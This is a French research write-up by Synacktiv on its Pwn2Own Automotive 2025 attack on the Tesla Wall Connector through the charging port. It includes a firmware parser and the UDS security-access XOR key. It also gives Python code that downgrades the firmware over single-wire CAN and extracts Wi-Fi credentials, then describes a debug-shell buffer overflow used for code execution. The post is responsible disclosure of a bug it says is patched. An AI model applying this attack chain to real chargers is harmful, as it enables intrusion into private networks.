Attaque du Tesla Wall connector depuis le port de charge
- 17/06/2025 - dansEn janvier 2025, Synacktiv a participé à Pwn2Own Automotive avec plusieurs cibles. L'une d'elles était le Tesla Wall Connector, le chargeur domestique pour véhicules électriques de Tesla. Nous avons présenté une attaque utilisant le connecteur de charge comme point d’entrée, en communiquant avec le chargeur via un protocole non standard (pour ce type d’application). Nous avons exploité une faille logique pour installer un firmware vulnérable sur l’appareil. Cet article explique comment nous avons étudié l’appareil, comment nous avons construit un simulateur de voiture Tesla pour communiquer avec le chargeur, et comment nous avons exploité cette faille logique pendant la compétition.
Vous souhaitez améliorer vos compétences ? Découvrez nos sessions de formation ! En savoir plus
Une surface d’attaque intéressante
Au cours des dernières années, Synacktiv a analysé les véhicules Tesla pour le concours Pwn2Own. En procédant à l’ingénierie inverse des mécanismes de mise à jour du système d’infodivertissement et de la passerelle de sécurité, nous avons découvert quelque chose d’intéressant : les voitures Tesla semblent capables de mettre à jour le Tesla Wall Connector via le câble de charge.

Cette fonctionnalité n’est pas documentée publiquement du point de vue de l’utilisateur, et ni le matériel ni le protocole sous-jacent n’avaient encore été analysés publiquement.
Compte tenu du potentiel de cette surface d’attaque, nous avons commencé à l’étudier avant même que le Wall Connector ne soit annoncé comme participant à la compétition.
Introduction rapide aux chargeurs de véhicules électriques
Un chargeur domestique de VE peut paraître complexe, mais en réalité, sa fonction principale se résume à un simple interrupteur électrique.
Le rôle principal du chargeur est d’ouvrir ou fermer des relais électriques pour connecter le véhicule au réseau, sans transformer ni réguler la puissance elle-même.
La décision d’activer ou non les relais repose sur divers contrôles et peut inclure une communication bidirectionnelle entre la voiture et le chargeur via des protocoles standardisés — cependant, la plupart des chargeurs domestiques ne mettent pas en œuvre ces protocoles.
Deux signaux sont essentiels pour la charge d’un VE : le Proximity Pilot (PP) et le Control Pilot (CP). Les deux sont référencés à PE (la terre).

Proximity Pilot (PP)
Le rôle principal du Proximity Pilot est de détecter la connexion d’un véhicule et d’indiquer la capacité en courant du câble de charge.
Pour cela, la voiture applique une tension constante à un circuit diviseur de tension. Le câble contient une résistance correspondant au courant maximal supporté, permettant au véhicule et au chargeur de détecter la capacité du câble.
Une résistance supplémentaire peut être ajoutée au diviseur de tension pour arrêter la charge lorsqu’un bouton est pressé sur la poignée (R7 dans le schéma ci-dessous).

Control Pilot (CP)
Le signal Control Pilot sert à gérer le processus de charge. Il remplit plusieurs fonctions :
-
Communiquer à la voiture la capacité maximale en courant du chargeur,
-
Coordonner le début et l’arrêt de la charge,
-
Détecter les erreurs ou défauts.
Le signal CP est un signal PWM (modulation de largeur d’impulsion) à 1 kHz généré par le chargeur. Le rapport cyclique de ce signal indique le courant maximum que le chargeur peut fournir.
Le véhicule répond en tirant le signal à un niveau bas à travers des résistances spécifiques pour indiquer son état de charge (connecté, prêt, en charge, ou en défaut).
En mode Vehicle-to-Grid (V2G), l’interface CP est étendue à une couche de communication de plus haut niveau, typiquement via Power Line Communication (PLC) sur la ligne CP. Cela permet l’échange de paquets IP entre le véhicule et le chargeur, permettant des fonctions telles que : gestion dynamique de la charge, négociation de contrat énergétique, ou encore transfert d’énergie bidirectionnel.
Le Tesla Wall Connector
Le Tesla Wall Connector est un chargeur de VE en courant alternatif conçu pour des installations résidentielles, publiques ou semi-publiques (maisons, hôtels, entreprises, parkings). Il prend en charge le monophasé et le triphasé, jusqu’à 22 kW, selon la configuration électrique.
L’appareil est conçu pour se connecter au réseau Wi-Fi du propriétaire afin de communiquer avec le cloud Tesla pour la télémétrie et le contrôle à distance via l’application mobile Tesla.
Il semble inclure un lecteur NFC, bien qu’aucune fonctionnalité actuelle ne l’utilise, il est probablement destiné à un usage futur.
Phase de configuration
Le Wi-Fi de l’appareil fonctionne en mode point d’accès (AP) dans les cas suivants :
-
Quand l’appareil n’est pas encore configuré,
-
Quand le bouton de la poignée de charge est maintenu plusieurs secondes,
-
Pendant quelques secondes au démarrage de l’appareil.
Le SSID et le mot de passe sont imprimés dans le manuel utilisateur, ne peuvent pas être changés, et ne sont pas censés être accessibles à un attaquant.
Dans cet article, nous démontrons comment ces identifiants peuvent être récupérés via le câble de charge.
Matériel
ZDI a publié une description matérielle détaillée de l’appareil ; nous ne détaillons ici que les composants nécessaires à cet article.
Le Tesla Wall Connector Gen 3 repose sur deux composants principaux :
-
Une carte de connectivité AW-CU300 pour le Wi-Fi et l’application principale (connexion au cloud, serveur API, etc.). Elle embarque un SoC Marvell 88MW300 (désormais chez NXP), basé sur un ARM Cortex-M4.
-
Un microcontrôleur STM32 chargé de la gestion des capteurs, de la mesure de puissance, et du contrôle des relais.
Les deux circuits communiquent via UART, en échangeant des messages sérialisés avec Protocol Buffers (Protobuf).
Fait intéressant, le PCB contient un emplacement pour une puce Qualcomm PLC, absente des appareils analysés. Aucun autre composant ne supportant le PLC, l’appareil n’est pas compatible V2G standard. Cela signifie que Tesla utilise un protocole propriétaire pour communiquer avec ses véhicules.
Analyse du protocole
Le meilleur moyen de comprendre le protocole entre le Wall Connector et la voiture Tesla est de connecter un oscilloscope aux signaux PP et CP. Voici ce que l’on observe :

La phase initiale de communication repose sur un signalement de base à l’aide de résistances dans un circuit diviseur de tension. Mais une fois que la voiture active le signal de charge (en tirant la ligne PWM à +6V/-12V avec une résistance supplémentaire), un protocole non standard apparaît sur la ligne CP.
En zoomant, on reconnaît un protocole bien connu : le CAN (Controller Area Network), mais utilisé en configuration Single-Wire (SWCAN).

Rétro-ingénierie
Pour commencer, il nous faut le firmware. Plusieurs méthodes permettent de l’obtenir :
-
Le site de support Tesla propose des firmwares pour mise à jour hors ligne (initialement obsolètes, maintenant à jour),
-
L’application mobile Tesla contient une ancienne version,
-
Les mises à jour de l’infodivertissement des véhicules incluent aussi le firmware du Wall Connector.
Firmware extraction
Les firmwares du Wall Connector utilisent un format binaire propriétaire pour le SoC Marvell. Voici un script Python pour extraire les différentes parties :
import sys
import struct
data = bytearray(open(sys.argv[1], "rb").read())
header_len = struct.unpack("<I", data[4:8])[0]
header = data[:header_len]
tlv_offset=0xC
while tlv_offset < header_len:
t = data[tlv_offset]
l = struct.unpack("<H", data[tlv_offset+1:tlv_offset+3])[0]
v = data[tlv_offset+3:tlv_offset+3+l]
tlv_offset += 3 + l
tlv_offset=0x14
if header.startswith(b"SBFH"):
print("Good magic")
else:
print("Bad magic")
exit(1)
header_data = data[0xC:header_len]
mrvl_header = data[header_len:header_len+0x14]
seg_header_offset = header_len + 0x14
number_of_segment=struct.unpack("<I", mrvl_header[3*4:4*4])[0]
last_offset=0
for seg in range(number_of_segment):
header_offset = seg_header_offset+seg*0x14
crc_pos = header_offset + 0x10
seg_header=data[header_offset:header_offset+0x14]
offset = struct.unpack("<I", seg_header[4:8])[0] + header_len
crc = struct.unpack("<I", seg_header[0x10:0x14])[0]
size = struct.unpack("<I", seg_header[0x8:0xC])[0]
load_addr = struct.unpack("<I", seg_header[0xC:0x10])[0]
seg_data = data[offset:offset+size]
last_offset = offset+size
file = "segment_%08x.bin" % load_addr
print("writing %s" % file)
f = open(file,"wb")
f.write(seg_data)
f.close()
$ python3 parse.py WC3_PROD_OTA_24.28.3_8c6a4dfba4384e.prodsigned.bin
Good magic
writing segment_00100000.bin
writing segment_1f002630.bin
writing segment_20000040.bin
Le fichier important est segment_1f002630.bin
, qui contient le code ARM.
Ce firmware correspond à la carte AW-CU300, qui gère à la fois la communication cloud et la mise à jour du STM32 (inclus dans le firmware).
L’AW-CU300 exécute FreeRTOS, avec plusieurs tâches logiques applicatives.
Nous avons analysé l’interface CAN, seul lien accessible depuis le port de charge. Les messages CAN sont traités par le STM32 et transmis à l’AW-CU300 via UART (Protobuf).
UDS
Fait intéressant, l’AW-CU300 implémente une pile UDS (Unified Diagnostic Services).
Le CAN ID 0x604
est acheminé vers l’AW-CU300 et interprété comme UDS sur ISO-TP.
Les commandes UDS de mise à jour firmware supportées sont :
-
0x34
– Request Download -
0x36
– Transfer Data -
0x37
– Request Transfer Exit
Le flash de l’AW-CU300 est divisé en deux emplacements : un actif et un passif. Le nouveau firmware est écrit dans le passif, puis activé.
Firmware Update Procedure
-
Ouvrir une session UDS (niveau 2)
-
Authentification via Security Access (niveau 5)
-
Le challenge est une valeur fixe de 16 octets
-
La réponse est chaque octet XOR avec 0x35
-
-
Routine 0xFF00 : préparation (effacement) du slot passif
-
Écriture 0x0E dans l’identifiant 0x102 via Write Data By Identifier
-
Upload du firmware avec Request Download et Transfer Data
-
Routine 0x201 : activation du nouveau firmware
-
Routine 0x202 : redémarrage
Si un véhicule est connecté, le redémarrage est différé de 5 minutes après déconnexion.
À l’appel de 0x201, le format et le CRC sont vérifiés. Aucune signature n’est vérifiée à ce stade. Celle-ci semble réservée au bootloader, qui n’est pas mis à jour. Aucune protection contre le downgrade n’est présente.
Firmware avec fonctions de debug
En 2021, nous avons extrait l’eMMC du système d’infodivertissement (version 2020.48.35.5). Elle contenait une version ancienne du firmware Wall Connector : 0.8.58.
Cette version expose des fonctions de débogage absentes des versions récentes :
-
Un shell TCP de debug (SDK AW-CU300) accessible via le Wi-Fi AP d’installation,
-
Le SSID et PSK sont récupérables via UDS.
Plan d’attaque
Le plan d'attaque est le suivant :
-
Downgrader le firmware vers la version 0.8.58
-
Utiliser UDS pour récupérer les identifiants Wi-Fi
-
Se connecter au Wi-Fi d’installation
-
Accéder au shell TCP via ce réseau
Pour cela, nous avons simulé une voiture Tesla afin d’interagir avec le chargeur via CAN et envoyer des commandes UDS.
Création d’un simulateur de voiture pour la communication SWCAN
Pour simuler une voiture, nous avons construit une petite carte electronique. Le premier objectif était d’émuler le comportement des lignes CP et PP avec un timing précis afin de déclencher la transition du chargeur en mode de communication SWCAN.
Nous avons réalisé cela à l’aide de relais contrôlés par un Raspberry Pi, permettant de commuter différentes résistances sur les lignes CP et PP.

Ensuite, nous avons modifié un adaptateur USB-CAN classique (FYSETC UCAN) pour qu’il supporte le SWCAN, en remplaçant le transceiver d’origine par un NCV7356.

Tout ce matériel a été intégré dans une boîte contenant le connecteur de charge.


Le Raspberry-Pi utilisait les bibliothèques python-can
et udsoncan
pour exécuter la logique de downgrade :
import can, udsoncan, isotp
def tesla_uds_algo(level, seed, params=None):
key = bytearray(seed)
for i in range(len(key)):
key[i] = key[i] ^ 0x35
return bytes(key)
bus = can.Bus(interface='socketcan', channel='can0', bitrate=33300, ignore_rx_error_frames=False)
# ...
with Client(conn, config=uds_config) as client:
client.set_config('security_algo', tesla_uds_algo)
client.change_session(2)
client.unlock_security_access(5)
client.routine_control(routine_id=0xFF00, control_type=1) # prepare the passive firmware slot
memloc = MemoryLocation(address=0, memorysize=len(data_to_send), address_format=32, memorysize_format=32)
client.request_download(memory_location=memloc)
while len(data):
client.transfer_data(sequence_number=seq, data=chunk)
# ...
client.request_transfer_exit()
client.routine_control(routine_id=0x201, control_type=1) # switch to new firmware
client.routine_control(routine_id=0x202, control_type=1) # reboot
# ...
La vitesse faible du bus (33.3 kbps) rend le processus de downgrade très lent : plus de 15 minutes.
Une fois redémarré avec le vieux firmware, on extrait les identifiants Wi-Fi :
psk = bytes(client.read_data_by_identifier_first(0x501))
mac = bytes(client.read_data_by_identifier_first(0xf040))
psk = psk.replace(b"\x00", b"")
ssid = "TeslaWallConnector_%02X%02X%02X" % (mac[-3], mac[-2], mac[-1])
Avec le SSID et le mot de passe, nous nous connectons au Wi-Fi :
david@usb-rpi:~/tesla $ python3 wifi.py
[i] Configure GPIO
[i] Configuring single wire can in normal mode
[i] Enable proximity load
[i] Connect CP circuit
[i] CP circuit: activate charge load
[i] Connect CAN transciver
[+] All good
[i] SSID = TeslaWallConnector_2A0B79
[i] PSK = BYHPVDZEFNGG
[i] Connecting to WiFi !
[+] SSID UP connecting
[+] Connected !!!!
$ telnet 192.168.92.1
# help
sysinfo (sysinfo -h)
memdump (memdump.[b|h|w] <address> <# of objects>)
memwrite (memwrite.[b|h|w] <address> <value> [count])
Exploitation
Lors du concours, il fallait démontrer l'exécution de code. Le shell seul ne suffisait pas.
Même si des commandes sensibles étaient exposées, memwrite n’était pas fiable — même sur des adresses valides, le périphérique crashait.
Nous avons identifié et exploité un dépassement de tampon global dans la logique de parsing des commandes du shell. Le tableau des arguments (16 entrées) n’est pas borné. À partir du 17e argument, les pointeurs écrasent les entrées de la table des commandes, donnant le contrôle de l’exécution.
Aucune protection mémoire n'étant active (tout est RWX), l’exécution de code arbitraire a été immédiate.
Conclusion
L'exploit a fonctionné du premier coup pendant Pwn2Own, en 18 minutes (principalement à cause du bus SWCAN lent). Nous avons déclenché un payload visible (clignotement de LED).
Puisque le Wall Connector est connecté au réseau local (domicile, hôtel, entreprise…), un accès au chargeur peut offrir un point d’entrée sur le réseau privé.
Tesla a corrigé cette vulnérabilité en implémentant une protection contre le downgrade, bloquant notre méthode d’attaque.